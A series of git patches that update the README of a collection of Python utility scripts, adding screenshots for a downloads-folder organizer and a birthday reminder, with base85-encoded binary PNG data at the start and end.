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 Date: Wed, 12 Jul 2017 06:38:52 +0530 Subject: [PATCH 029/101] Updated README --- Scripts/README.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/Scripts/README.md b/Scripts/README.md index a017ab38..ea8b458c 100644 --- a/Scripts/README.md +++ b/Scripts/README.md @@ -1,12 +1,19 @@ # Some results for Scripts ### File Organizer: Manage your downloads folder with ease + * [File Organizer](P05_FileOrganizer) - Results before running the script (*messy downloads folder*) + + ![File Organizer Before](Results/FolderManipulationBefore.png "Before") * [File Organizer](P05_FileOrganizer) - Results after running the script (*beautiful downloads folder*) + + ![File Organizer After](Results/FolderManipulationAfter.png "After") ### Birthday Reminder: Get notified for the birthdays of you loved ones! -1. [Birthday Reminder](P09_ReminderApplication.py) + +1. [Birthday Reminder](P09_ReminderApplication.py)
+ ![Birthday Reminder](Results/BirthdayReminder.png "Birthdays") From 433778abd0f432272acb071fbe52957d98e45430 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 12 Jul 2017 06:42:31 +0530 Subject: [PATCH 030/101] Updated README --- Scripts/README.md | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/Scripts/README.md b/Scripts/README.md index ea8b458c..5352c0c4 100644 --- a/Scripts/README.md +++ b/Scripts/README.md @@ -2,18 +2,21 @@ ### File Organizer: Manage your downloads folder with ease -* [File Organizer](P05_FileOrganizer) - Results before running the script (*messy downloads folder*) - +* [File Organizer](P05_FileOrganizer) - Results before running the script (*messy downloads folder*) +


![File Organizer Before](Results/FolderManipulationBefore.png "Before") * [File Organizer](P05_FileOrganizer) - Results after running the script (*beautiful downloads folder*) - - +


![File Organizer After](Results/FolderManipulationAfter.png "After") ### Birthday Reminder: Get notified for the birthdays of you loved ones! -1. [Birthday Reminder](P09_ReminderApplication.py)
+* [Birthday Reminder](P09_ReminderApplication.py) - How to store your birthdays file (`reminder.data`)
![Birthday Reminder](Results/BirthdayReminder.png "Birthdays") + +* [Birthday Reminder](P09_ReminderApplication.py) - How you get the notifications (`reminder.data`)
+ +![Birthday Reminder](Results/BirthdayReminderResults.png "Birthdays") From a2cbf577817f47a31bfc33b301d2f1ba78c85318 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 12 Jul 2017 06:42:43 +0530 Subject: [PATCH 031/101] Results --- Scripts/Results/BirthdayReminderResult.png | Bin 0 -> 50206 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 Scripts/Results/BirthdayReminderResult.png diff --git a/Scripts/Results/BirthdayReminderResult.png b/Scripts/Results/BirthdayReminderResult.png new file mode 100644 index 0000000000000000000000000000000000000000..c7854a20342ca45d576a162b06bed8757e6f01e9 GIT binary patch literal 50206 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 